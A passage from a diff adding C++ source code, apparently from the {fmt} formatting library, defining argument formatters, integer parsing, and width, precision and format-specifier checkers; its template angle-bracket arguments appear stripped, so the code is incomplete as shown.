write_char(formatter.out_, value, formatter.specs_); + } + }; + + struct cstring_spec_handler : error_handler { + arg_formatter_base& formatter; + const Char* value; + + cstring_spec_handler(arg_formatter_base& f, const Char* val) + : formatter(f), value(val) {} + + void on_string() { formatter.write(value); } + void on_pointer() { formatter.write_pointer(value); } + }; + + protected: + iterator out() { return out_; } + const format_specs& specs() { return specs_; } + + FMT_CONSTEXPR void write(bool value) { + write(string_view(value ? "true" : "false"), specs_); + } + + void write(const Char* value) { + if (value) + write(basic_string_view(value), specs_); + else + FMT_THROW(format_error("string pointer is null")); + } + + public: + constexpr arg_formatter_base(OutputIt out, const format_specs& s, locale_ref loc) + : out_(out), specs_(s), locale_(loc) {} + + iterator operator()(monostate) { + FMT_ASSERT(false, "invalid argument type"); + return out_; + } + + template ::value)> + FMT_CONSTEXPR FMT_INLINE iterator operator()(T value) { + return out_ = detail::write_int(out_, value, specs_, locale_); + } + + FMT_CONSTEXPR iterator operator()(Char value) { + handle_char_specs(specs_, + char_spec_handler(*this, static_cast(value))); + return out_; + } + + FMT_CONSTEXPR iterator operator()(bool value) { + if (specs_.type && specs_.type != 's') return (*this)(value ? 1 : 0); + write(value != 0); + return out_; + } + + template ::value)> + iterator operator()(T value) { + if (const_check(is_supported_floating_point(value))) + out_ = detail::write(out_, value, specs_, locale_); + else + FMT_ASSERT(false, "unsupported float argument type"); + return out_; + } + + iterator operator()(const Char* value) { + handle_cstring_type_spec(specs_.type, cstring_spec_handler(*this, value)); + return out_; + } + + FMT_CONSTEXPR iterator operator()(basic_string_view value) { + check_string_type_spec(specs_.type, error_handler()); + write(value, specs_); + return out_; + } + + iterator operator()(const void* value) { + check_pointer_type_spec(specs_.type, error_handler()); + write_pointer(value); + return out_; + } +}; + +/** The default argument formatter. */ +template +class arg_formatter : public arg_formatter_base { + private: + using char_type = Char; + using base = arg_formatter_base; + using context_type = basic_format_context; + + context_type& ctx_; + + public: + using iterator = typename base::iterator; + using format_specs = typename base::format_specs; + + /** + \rst + Constructs an argument formatter object. + *ctx* is a reference to the formatting context, + *specs* contains format specifier information for standard argument types. + \endrst + */ + constexpr explicit arg_formatter(context_type& ctx, const format_specs& specs) + : base(ctx.out(), specs, ctx.locale()), ctx_(ctx) {} + + using base::operator(); + + iterator operator()(typename basic_format_arg::handle) { + // User-defined types are handled separately because they require access to + // the parse context. + return ctx_.out(); + } +}; + +template FMT_CONSTEXPR bool is_name_start(Char c) { + return ('a' <= c && c <= 'z') || ('A' <= c && c <= 'Z') || '_' == c; +} + +// Parses the range [begin, end) as an unsigned integer. This function assumes +// that the range is non-empty and the first character is a digit. +template +FMT_CONSTEXPR int parse_nonnegative_int(const Char*& begin, const Char* end, + ErrorHandler&& eh) { + FMT_ASSERT(begin != end && '0' <= *begin && *begin <= '9', ""); + unsigned value = 0; + // Convert to unsigned to prevent a warning. + constexpr unsigned max_int = max_value(); + unsigned big = max_int / 10; + do { + // Check for overflow. + if (value > big) { + value = max_int + 1; + break; + } + value = value * 10 + unsigned(*begin - '0'); + ++begin; + } while (begin != end && '0' <= *begin && *begin <= '9'); + if (value > max_int) eh.on_error("number is too big"); + return static_cast(value); +} + +template class custom_formatter { + private: + using char_type = typename Context::char_type; + + basic_format_parse_context& parse_ctx_; + Context& ctx_; + + public: + explicit custom_formatter(basic_format_parse_context& parse_ctx, + Context& ctx) + : parse_ctx_(parse_ctx), ctx_(ctx) {} + + void operator()(typename basic_format_arg::handle h) const { + h.format(parse_ctx_, ctx_); + } + + template void operator()(T) const {} +}; + +template +using is_integer = + bool_constant::value && !std::is_same::value && + !std::is_same::value && + !std::is_same::value>; + +template class width_checker { + public: + explicit FMT_CONSTEXPR width_checker(ErrorHandler& eh) : handler_(eh) {} + + template ::value)> + FMT_CONSTEXPR unsigned long long operator()(T value) { + if (is_negative(value)) handler_.on_error("negative width"); + return static_cast(value); + } + + template ::value)> + FMT_CONSTEXPR unsigned long long operator()(T) { + handler_.on_error("width is not integer"); + return 0; + } + + private: + ErrorHandler& handler_; +}; + +template class precision_checker { + public: + explicit FMT_CONSTEXPR precision_checker(ErrorHandler& eh) : handler_(eh) {} + + template ::value)> + FMT_CONSTEXPR unsigned long long operator()(T value) { + if (is_negative(value)) handler_.on_error("negative precision"); + return static_cast(value); + } + + template ::value)> + FMT_CONSTEXPR unsigned long long operator()(T) { + handler_.on_error("precision is not integer"); + return 0; + } + + private: + ErrorHandler& handler_; +}; + +// A format specifier handler that sets fields in basic_format_specs. +template class specs_setter { + public: + explicit FMT_CONSTEXPR specs_setter(basic_format_specs& specs) + : specs_(specs) {} + + FMT_CONSTEXPR specs_setter(const specs_setter& other) + : specs_(other.specs_) {} + + FMT_CONSTEXPR void on_align(align_t align) { specs_.align = align; } + FMT_CONSTEXPR void on_fill(basic_string_view fill) { + specs_.fill = fill; + } + FMT_CONSTEXPR void on_plus() { specs_.sign = sign::plus; } + FMT_CONSTEXPR void on_minus() { specs_.sign = sign::minus; } + FMT_CONSTEXPR void on_space() { specs_.sign = sign::space; } + FMT_CONSTEXPR void on_hash() { specs_.alt = true; } + FMT_CONSTEXPR void on_localized() { specs_.localized = true; } + + FMT_CONSTEXPR void on_zero() { + specs_.align = align::numeric; + specs_.fill[0] = Char('0'); + } + + FMT_CONSTEXPR void on_width(int width) { specs_.width = width; } + FMT_CONSTEXPR void on_precision(int precision) { + specs_.precision = precision; + } + FMT_CONSTEXPR void end_precision() {} + + FMT_CONSTEXPR void on_type(Char type) { + specs_.type = static_cast(type); + } + + protected: + basic_format_specs& specs_; +}; + +template class numeric_specs_checker { + public: + FMT_CONSTEXPR numeric_specs_checker(ErrorHandler& eh, detail::type arg_type) + : error_handler_(eh), arg_type_(arg_type) {} + + FMT_CONSTEXPR void require_numeric_argument() { + if (!is_arithmetic_type(arg_type_)) + error_handler_.on_error("format specifier requires numeric argument"); + } + + FMT_CONSTEXPR void check_sign() { + require_numeric_argument(); + if (is_integral_type(arg_type_) && arg_type_ != type::int_type && + arg_type_ != type::long_long_type && arg_type_ != type::char_type) { + error_handler_.on_error("format specifier requires signed argument"); + } + } + + FMT_CONSTEXPR void check_precision() { + if (is_integral_type(arg_type_) || arg_type_ == type::pointer_type) + error_handler_.on_error("precision not allowed for this argument type"); + } + + private: + ErrorHandler& error_handler_; + detail::type arg_type_; +}; + +// A format specifier handler that checks if specifiers are consistent with the +// argument type. +template class specs_checker : public Handler { + private: + numeric_specs_checker checker_; + + // Suppress an MSVC warning about using this in initializer list. + FMT_CONSTEXPR Handler& error_handler() { return *this; } + + public: + FMT_CONSTEXPR specs_checker(const Handler& handler, detail::type arg_type) + : Handler(handler), checker_(error_handler(), arg_type) {} + + FMT_CONSTEXPR specs_checker(const specs_checker& other) + : Handler(other), checker_(error_handler(), other.arg_type_) {} + + FMT_CONSTEXPR void on_align(align_t align) { + if (align == align::numeric) checker_.require_numeric_argument(); + Handler::on_align(align); + } + + FMT_CONSTEXPR void on_plus() { + checker_.check_sign(); + Handler::on_plus(); + } + + FMT_CONSTEXPR void on_minus() { + checker_.check_sign(); + Handler::on_minus(); + } + + FMT_CONSTEXPR void on_space() { + checker_.check_sign(); + Handler::on_space(); + } + + FMT_CONSTEXPR void on_hash() { + checker_.require_numeric_argument(); + Handler::on_hash(); + } + + FMT_CONSTEXPR void on_localized() { + checker_.require_numeric_argument(); + Handler::on_localized(); + } + + FMT_CONSTEXPR void on_zero() { + checker_.require_numeric_argument(); + Handler::on_zero(); + } + + FMT_CONSTEXPR void end_precision() { checker_.check_precision(); } +}; + +template